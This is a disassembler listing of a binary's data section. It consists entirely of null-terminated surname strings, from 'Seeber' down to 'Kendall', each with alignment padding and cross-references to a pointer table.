aSeeber		db 'Seeber',0           ; DATA XREF: nsp0:004308FCo
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: nsp0:004308F8o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: nsp0:004308F4o
aScovel		db 'Scovel',0           ; DATA XREF: nsp0:004308F0o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: nsp0:004308ECo
aSchwan		db 'Schwan',0           ; DATA XREF: nsp0:004308E8o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: nsp0:004308E4o
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: nsp0:004308E0o
aSchuman	db 'Schuman',0          ; DATA XREF: nsp0:004308DCo
aSchossberger	db 'Schossberger',0     ; DATA XREF: nsp0:004308D8o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: nsp0:004308D4o
aSchilling	db 'Schilling',0        ; DATA XREF: nsp0:004308D0o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: nsp0:004308CCo
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: nsp0:004308C8o
aScheiner	db 'Scheiner',0         ; DATA XREF: nsp0:004308C4o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: nsp0:004308C0o
aScharf		db 'Scharf',0           ; DATA XREF: nsp0:004308BCo
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: nsp0:004308B8o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: nsp0:004308B4o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: nsp0:004308B0o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: nsp0:004308ACo
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: nsp0:004308A8o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: nsp0:004308A4o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: nsp0:004308A0o
		align 4
aSase		db 'Sase',0             ; DATA XREF: nsp0:0043089Co
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: nsp0:00430898o
aSarin		db 'Sarin',0            ; DATA XREF: nsp0:00430894o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: nsp0:00430890o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: nsp0:0043088Co
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: nsp0:00430888o
aSamson		db 'Samson',0           ; DATA XREF: nsp0:00430884o
		align 4
aSali		db 'Sali',0             ; DATA XREF: nsp0:00430880o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: nsp0:0043087Co
		align 4
aSafire		db 'Safire',0           ; DATA XREF: nsp0:00430878o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: nsp0:00430874o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: nsp0:00430870o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: nsp0:0043086Co
aRush_0		db 'Rush',0             ; DATA XREF: nsp0:00430868o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: nsp0:00430864o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: nsp0:00430860o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: nsp0:0043085Co
		align 4
aRu		db 'Ru',0               ; DATA XREF: nsp0:00430858o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: nsp0:00430854o
		align 10h
aRow		db 'Row',0              ; DATA XREF: nsp0:00430850o
aRonen		db 'Ronen',0            ; DATA XREF: nsp0:0043084Co
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: nsp0:00430848o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: nsp0:00430844o
aRocha		db 'Rocha',0            ; DATA XREF: nsp0:00430840o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: nsp0:0043083Co
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: nsp0:00430838o
		align 4
aRish		db 'Rish',0             ; DATA XREF: nsp0:00430834o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: nsp0:00430830o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: nsp0:0043082Co
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: nsp0:00430828o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: nsp0:00430824o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: nsp0:00430820o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: nsp0:0043081Co
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: nsp0:00430818o
aRenick		db 'Renick',0           ; DATA XREF: nsp0:00430814o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: nsp0:00430810o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: nsp0:0043080Co
aCunningham	db 'Cunningham',0       ; DATA XREF: nsp0:00430808o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: nsp0:00430804o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: nsp0:00430800o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: nsp0:004307FCo
aRapple		db 'Rapple',0           ; DATA XREF: nsp0:004307F8o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: nsp0:004307F4o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: nsp0:004307F0o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: nsp0:004307ECo
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: nsp0:004307E8o
aRadeke		db 'Radeke',0           ; DATA XREF: nsp0:004307E4o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: nsp0:004307E0o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: nsp0:004307DCo
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: nsp0:004307D8o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: nsp0:004307D4o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: nsp0:004307D0o
aPugh		db 'Pugh',0             ; DATA XREF: nsp0:004307CCo
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: nsp0:004307C8o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: nsp0:004307C4o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: nsp0:004307C0o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: nsp0:004307BCo
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: nsp0:004307B8o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: nsp0:004307B4o
aPreucel	db 'Preucel',0          ; DATA XREF: nsp0:004307B0o
aPresper	db 'Presper',0          ; DATA XREF: nsp0:004307ACo
aPowers		db 'Powers',0           ; DATA XREF: nsp0:004307A8o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: nsp0:004307A4o
aPoma		db 'Poma',0             ; DATA XREF: nsp0:004307A0o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: nsp0:0043079Co
aPolanyi	db 'Polanyi',0          ; DATA XREF: nsp0:00430798o
aPolak		db 'Polak',0            ; DATA XREF: nsp0:00430794o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: nsp0:00430790o
aPointer	db 'Pointer',0          ; DATA XREF: nsp0:0043078Co
aPoincaire	db 'Poincaire',0        ; DATA XREF: nsp0:00430788o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: nsp0:00430784o
		align 10h
aPo		db 'Po',0               ; DATA XREF: nsp0:00430780o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: nsp0:0043077Co
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: nsp0:00430778o
aPlant		db 'Plant',0            ; DATA XREF: nsp0:00430774o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: nsp0:00430770o
aPinot		db 'Pinot',0            ; DATA XREF: nsp0:0043076Co
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: nsp0:00430768o
aPfister	db 'Pfister',0          ; DATA XREF: nsp0:00430764o
aPettit		db 'Pettit',0           ; DATA XREF: nsp0:00430760o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: nsp0:0043075Co
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: nsp0:00430758o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: nsp0:00430754o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: nsp0:00430750o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: nsp0:0043074Co
		align 4
aPerna		db 'Perna',0            ; DATA XREF: nsp0:00430748o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: nsp0:00430744o
aPerlak		db 'Perlak',0           ; DATA XREF: nsp0:00430740o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: nsp0:0043073Co
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: nsp0:00430738o
aPenny		db 'Penny',0            ; DATA XREF: nsp0:00430734o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: nsp0:00430730o
aPederson	db 'Pederson',0         ; DATA XREF: nsp0:0043072Co
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: nsp0:00430728o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: nsp0:00430724o
aPaynter	db 'Paynter',0          ; DATA XREF: nsp0:00430720o
aPawloski	db 'Pawloski',0         ; DATA XREF: nsp0:0043071Co
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: nsp0:00430718o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: nsp0:00430714o
aPattullo	db 'Pattullo',0         ; DATA XREF: nsp0:00430710o
		align 10h
aPatrick_0	db 'Patrick',0          ; DATA XREF: nsp0:0043070Co
aPatefield	db 'Patefield',0        ; DATA XREF: nsp0:00430708o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: nsp0:00430704o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: nsp0:00430700o
		align 4
aParris		db 'Parris',0           ; DATA XREF: nsp0:004306FCo
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: nsp0:004306F8o
aPaoletti	db 'Paoletti',0         ; DATA XREF: nsp0:004306F4o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: nsp0:004306F0o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: nsp0:004306ECo
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: nsp0:004306E8o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: nsp0:004306E4o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: nsp0:004306E0o
aPalepu		db 'Palepu',0           ; DATA XREF: nsp0:004306DCo
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: nsp0:004306D8o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: nsp0:004306D4o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: nsp0:004306D0o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: nsp0:004306CCo
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: nsp0:004306C8o
aOtten		db 'Otten',0            ; DATA XREF: nsp0:004306C4o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: nsp0:004306C0o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: nsp0:004306BCo
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: nsp0:004306B8o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: nsp0:004306B4o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: nsp0:004306B0o
aOray		db 'Oray',0             ; DATA XREF: nsp0:004306ACo
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: nsp0:004306A8o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: nsp0:004306A4o
aOman		db 'Oman',0             ; DATA XREF: nsp0:004306A0o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: nsp0:0043069Co
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: nsp0:00430698o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: nsp0:00430694o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: nsp0:00430690o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: nsp0:0043068Co
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: nsp0:00430688o
aOh		db 'Oh',0               ; DATA XREF: nsp0:00430684o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: nsp0:00430680o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: nsp0:0043067Co
aNuzum		db 'Nuzum',0            ; DATA XREF: nsp0:00430678o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: nsp0:00430674o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: nsp0:00430670o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: nsp0:0043066Co
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: nsp0:00430668o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: nsp0:00430664o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: nsp0:00430660o
		align 4
aNg		db 'Ng',0               ; DATA XREF: nsp0:0043065Co
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: nsp0:00430658o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: nsp0:00430654o
aNeuman		db 'Neuman',0           ; DATA XREF: nsp0:00430650o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: nsp0:0043064Co
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: nsp0:00430648o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: nsp0:00430644o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: nsp0:00430640o
aNaviaux	db 'Naviaux',0          ; DATA XREF: nsp0:0043063Co
aNardone	db 'Nardone',0          ; DATA XREF: nsp0:00430638o
aNardi		db 'Nardi',0            ; DATA XREF: nsp0:00430634o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: nsp0:00430630o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: nsp0:0043062Co
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: nsp0:00430628o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: nsp0:00430624o
aMulroy		db 'Mulroy',0           ; DATA XREF: nsp0:00430620o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: nsp0:0043061Co
aMugnai		db 'Mugnai',0           ; DATA XREF: nsp0:00430618o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: nsp0:00430614o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: nsp0:00430610o
aMotooka	db 'Motooka',0          ; DATA XREF: nsp0:0043060Co
aMostafavi	db 'Mostafavi',0        ; DATA XREF: nsp0:00430608o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: nsp0:00430604o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: nsp0:00430600o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: nsp0:004305FCo
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: nsp0:004305F8o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: nsp0:004305F4o
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: nsp0:004305F0o
aMorani		db 'Morani',0           ; DATA XREF: nsp0:004305ECo
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: nsp0:004305E8o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: nsp0:004305E4o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: nsp0:004305E0o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: nsp0:004305DCo
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: nsp0:004305D8o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: nsp0:004305D4o
aModestino	db 'Modestino',0        ; DATA XREF: nsp0:004305D0o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: nsp0:004305CCo
aMittal		db 'Mittal',0           ; DATA XREF: nsp0:004305C8o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: nsp0:004305C4o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: nsp0:004305C0o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: nsp0:004305BCo
aMini		db 'Mini',0             ; DATA XREF: nsp0:004305B8o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: nsp0:004305B4o
		align 4
aMills		db 'Mills',0            ; DATA XREF: nsp0:004305B0o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: nsp0:004305ACo
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: nsp0:004305A8o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: nsp0:004305A4o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: nsp0:004305A0o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: nsp0:0043059Co
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: nsp0:00430598o
aMerz		db 'Merz',0             ; DATA XREF: nsp0:00430594o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: nsp0:00430590o
aMerminod	db 'Merminod',0         ; DATA XREF: nsp0:0043058Co
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: nsp0:00430588o
aMerikoski	db 'Merikoski',0        ; DATA XREF: nsp0:00430584o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: nsp0:00430580o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: nsp0:0043057Co
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: nsp0:00430578o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: nsp0:00430574o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: nsp0:00430570o
aMclaren	db 'Mclaren',0          ; DATA XREF: nsp0:0043056Co
aMclane		db 'Mclane',0           ; DATA XREF: nsp0:00430568o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: nsp0:00430564o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: nsp0:00430560o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: nsp0:0043055Co
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: nsp0:00430558o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: nsp0:00430554o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: nsp0:00430550o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: nsp0:0043054Co
aMcdowell	db 'Mcdowell',0         ; DATA XREF: nsp0:00430548o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: nsp0:00430544o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: nsp0:00430540o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: nsp0:0043053Co
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: nsp0:00430538o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: nsp0:00430534o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: nsp0:00430530o
aMay		db 'May',0              ; DATA XREF: nsp0:0043052Co
aMauzy		db 'Mauzy',0            ; DATA XREF: nsp0:00430528o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: nsp0:00430524o
aMatsukata	db 'Matsukata',0        ; DATA XREF: nsp0:00430520o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: nsp0:0043051Co
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: nsp0:00430518o
aMass		db 'Mass',0             ; DATA XREF: nsp0:00430514o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: nsp0:00430510o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: nsp0:0043050Co
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: nsp0:00430508o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: nsp0:00430504o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: nsp0:00430500o
aMargetts	db 'Margetts',0         ; DATA XREF: nsp0:004304FCo
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: nsp0:004304F8o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: nsp0:004304F4o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: nsp0:004304F0o
		align 4
aMarch		db 'March',0            ; DATA XREF: nsp0:004304ECo
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: nsp0:004304E8o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: nsp0:004304E4o
aMandel		db 'Mandel',0           ; DATA XREF: nsp0:004304E0o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: nsp0:004304DCo
aMalova		db 'Malova',0           ; DATA XREF: nsp0:004304D8o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: nsp0:004304D4o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: nsp0:004304D0o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: nsp0:004304CCo
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: nsp0:004304C8o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: nsp0:004304C4o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: nsp0:004304C0o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: nsp0:004304BCo
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: nsp0:004304B8o
aMacy		db 'Macy',0             ; DATA XREF: nsp0:004304B4o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: nsp0:004304B0o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: nsp0:004304ACo
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: nsp0:004304A8o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: nsp0:004304A4o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: nsp0:004304A0o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: nsp0:0043049Co
		align 4
aMa		db 'Ma',0               ; DATA XREF: nsp0:00430498o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: nsp0:00430494o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: nsp0:00430490o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: nsp0:0043048Co
aLuoma		db 'Luoma',0            ; DATA XREF: nsp0:00430488o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: nsp0:00430484o
aLuecke		db 'Luecke',0           ; DATA XREF: nsp0:00430480o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: nsp0:0043047Co
aLuciano	db 'Luciano',0          ; DATA XREF: nsp0:00430478o
aLucas		db 'Lucas',0            ; DATA XREF: nsp0:00430474o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: nsp0:00430470o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: nsp0:0043046Co
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: nsp0:00430468o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: nsp0:00430464o
aLoss		db 'Loss',0             ; DATA XREF: nsp0:00430460o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: nsp0:0043045Co
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: nsp0:00430458o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: nsp0:00430454o
aLivolsi	db 'Livolsi',0          ; DATA XREF: nsp0:00430450o
aLivi		db 'Livi',0             ; DATA XREF: nsp0:0043044Co
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: nsp0:00430448o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: nsp0:00430444o
		align 4
aLittle		db 'Little',0           ; DATA XREF: nsp0:00430440o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: nsp0:0043043Co
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: nsp0:00430438o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: nsp0:00430434o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: nsp0:00430430o
aLine		db 'Line',0             ; DATA XREF: nsp0:0043042Co
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: nsp0:00430428o
		align 4
aLinda_0	db 'Linda',0            ; DATA XREF: nsp0:00430424o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: nsp0:00430420o
aLim		db 'Lim',0              ; DATA XREF: nsp0:0043041Co
aLightfoot	db 'Lightfoot',0        ; DATA XREF: nsp0:00430418o
		align 4
aLight_0	db 'Light',0            ; DATA XREF: nsp0:00430414o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: nsp0:00430410o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: nsp0:0043040Co
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: nsp0:00430408o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: nsp0:00430404o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: nsp0:00430400o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: nsp0:004303FCo
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: nsp0:004303F8o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: nsp0:004303F4o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: nsp0:004303F0o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: nsp0:004303ECo
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: nsp0:004303E8o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: nsp0:004303E4o
aLashley	db 'Lashley',0          ; DATA XREF: nsp0:004303E0o
aLaserna	db 'Laserna',0          ; DATA XREF: nsp0:004303DCo
aLanzit		db 'Lanzit',0           ; DATA XREF: nsp0:004303D8o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: nsp0:004303D4o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: nsp0:004303D0o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: nsp0:004303CCo
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: nsp0:004303C8o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: nsp0:004303C4o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: nsp0:004303C0o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: nsp0:004303BCo
aLa		db 'La',0               ; DATA XREF: nsp0:004303B8o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: nsp0:004303B4o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: nsp0:004303B0o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: nsp0:004303ACo
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: nsp0:004303A8o
aKrysiak	db 'Krysiak',0          ; DATA XREF: nsp0:004303A4o
aKroemer	db 'Kroemer',0          ; DATA XREF: nsp0:004303A0o
aKraus		db 'Kraus',0            ; DATA XREF: nsp0:0043039Co
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: nsp0:00430398o
aKrailo		db 'Krailo',0           ; DATA XREF: nsp0:00430394o
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: nsp0:00430390o
aKovaks		db 'Kovaks',0           ; DATA XREF: nsp0:0043038Co
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: nsp0:00430388o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: nsp0:00430384o
		align 4
aKool		db 'Kool',0             ; DATA XREF: nsp0:00430380o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: nsp0:0043037Co
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: nsp0:00430378o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: nsp0:00430374o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: nsp0:00430370o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: nsp0:0043036Co
		align 4
aKoch		db 'Koch',0             ; DATA XREF: nsp0:00430368o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: nsp0:00430364o
aKnuff		db 'Knuff',0            ; DATA XREF: nsp0:00430360o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: nsp0:0043035Co
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: nsp0:00430358o
aKling		db 'Kling',0            ; DATA XREF: nsp0:00430354o
		align 10h
aKlemperer	db 'Klemperer',0        ; DATA XREF: nsp0:00430350o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: nsp0:0043034Co
aKleiman	db 'Kleiman',0          ; DATA XREF: nsp0:00430348o
aKleckner	db 'Kleckner',0         ; DATA XREF: nsp0:00430344o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: nsp0:00430340o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: nsp0:0043033Co
aKippenberger	db 'Kippenberger',0     ; DATA XREF: nsp0:00430338o
		align 10h
aKinsley	db 'Kinsley',0          ; DATA XREF: nsp0:00430334o
aKindall	db 'Kindall',0          ; DATA XREF: nsp0:00430330o
aKimura		db 'Kimura',0           ; DATA XREF: nsp0:0043032Co
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: nsp0:00430328o
aKimmel		db 'Kimmel',0           ; DATA XREF: nsp0:00430324o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: nsp0:00430320o
		align 10h
aKeul		db 'Keul',0             ; DATA XREF: nsp0:0043031Co
		align 4
aKerry_0	db 'Kerry',0            ; DATA XREF: nsp0:00430318o
		align 10h
aKendall	db 'Kendall',0          ; DATA XREF: nsp0:00430314o
